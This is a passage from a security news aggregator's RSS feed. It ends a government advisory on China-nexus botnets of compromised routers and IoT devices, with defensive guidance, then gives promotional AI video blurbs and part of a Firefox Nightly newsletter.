<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
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<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
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<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
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<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
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<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 Secret Bard Tips And Tricks (How To Use Google Bard)(Google Bard Tutorial)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 486x - Views:35021 How To Use Google Bard)(Google Bard Tutorial)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your kno...]]></description>
<link>https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:25 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 486x - Views:35021 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/HwUt9ZRziBE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>How To Use Google Bard)(Google Bard Tutorial)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
All Bard Features <br />
- Bard Can Make Charts - https://www.reddit.com/r/GoogleBard/comments/123s0yt/wow_google_bard_can_make_a_chart_bing_ai_used_to/<br />
- Bard makes very big mistakes https://twitter.com/0xgaut/status/1638287359098716160 <br />
- Bard Cannot Help With Coding - https://twitter.com/iamnafets/status/1638232186649477120/photo/1 <br />
- Bard Actually has access to recent events <br />
- Bard Cant Access Articles (Sometimes<br />
- Bard Can Rewrite content<br />
- Rewording Questions Helps https://www.reddit.com/r/GoogleBard/comments/11xoaw7/bard_can_actually_answer_code_questions_it_just/<br />
- Bard Can write stories<br />
- Bard is a confusing mix between ChatGPT + Bing<br />
- Bard does have shorter answers<br />
- Bard is quicker<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft's VISUALChatGPT Takes the Industry By STORM! (NOW UNVEILED!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2436x - Views:330281 Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learnin...]]></description>
<link>https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:22 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2436x - Views:330281 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/7hztoCMVo0U?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt<br />
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get Ready for 15 SHOCKING Changes After the Singularity (AGI IS NEAR!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2476x - Views:151461 15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and pe...]]></description>
<link>https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:21 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2476x - Views:151461 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/F95s2bLMNIY?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Mark of AI: 2030 - ∞ Future Timeline of The Beast & ASI]]></title>
<description><![CDATA[Author: AI News - Bewertung: 4023x - Views:154298 - This is artificial intelligence becoming artificial super intelligence, and its mark on man in the form of brain computer interface chip to create a new world order where no one can buy or sell without it.

Deep Learning AI Specialization: https...]]></description>
<link>https://tsecurity.de/de/3693372/videos/the-mark-of-ai-2030-future-timeline-of-the-beast-asi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693372/videos/the-mark-of-ai-2030-future-timeline-of-the-beast-asi/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 4023x - Views:154298 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/W-jCQck3dII?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>- This is artificial intelligence becoming artificial super intelligence, and its mark on man in the form of brain computer interface chip to create a new world order where no one can buy or sell without it.<br />
<br />
Deep Learning AI Specialization: https://imp.i384100.net/GET-STARTED<br />
AI Marketplace: https://taimine.com/<br />
<br />
Timestamps:<br />
0:00 Intro to AI turned ASI<br />
0:58 The rise of super intelligence<br />
3:40 Brain computer interface mark<br />
5:41 Losing the beast&#039;s favor<br />
<br />
#ai #future #tech<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
